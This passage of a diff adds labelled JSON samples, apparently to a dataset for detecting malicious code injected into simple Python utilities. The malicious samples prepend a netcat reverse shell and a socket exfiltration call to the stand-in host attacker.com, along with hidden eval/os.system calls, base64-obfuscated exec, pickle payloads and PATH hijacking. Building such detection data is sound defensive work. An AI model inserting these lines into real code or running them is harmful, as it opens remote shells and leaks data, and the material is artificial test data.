"mutation_engine", + "attack_type": null + }, + { + "id": "tp_f4d07880", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_c8b9d498", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_78701507", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_c50efcfe", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c2b2af4d", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_6e81cf2b", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_7c176272", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_df973f2a", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_133321fb", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2f122112", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_22a4333f", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_15e3cb42", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_839b939f", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_da625ef4", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_63ff28f8", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_8a73b780", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_0ca8c62a", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_426f5e43", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_ef6dafa0", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8a9631fa", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4e86b4f9", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_4ef5fb07", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_6fa616b1", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_bce5a393", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2ef37767", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ba6059b8", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_2319ebfe", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_e2b20b43", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_429c5ab1", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_b0bea5a6", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_867060dc", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_43065112", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_b54cf35c", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7ed1d526", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f93a2ccd", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_36a46bc5", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_290eb675", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_b78dad67", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6a74910a", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3544dbe7", + "type": "functional", + "code_snippet": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e9c3ed09", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_56be7661", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_d3631378", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_c0054300", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_870cfb78", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_b00fd842", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_db04e43d", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", 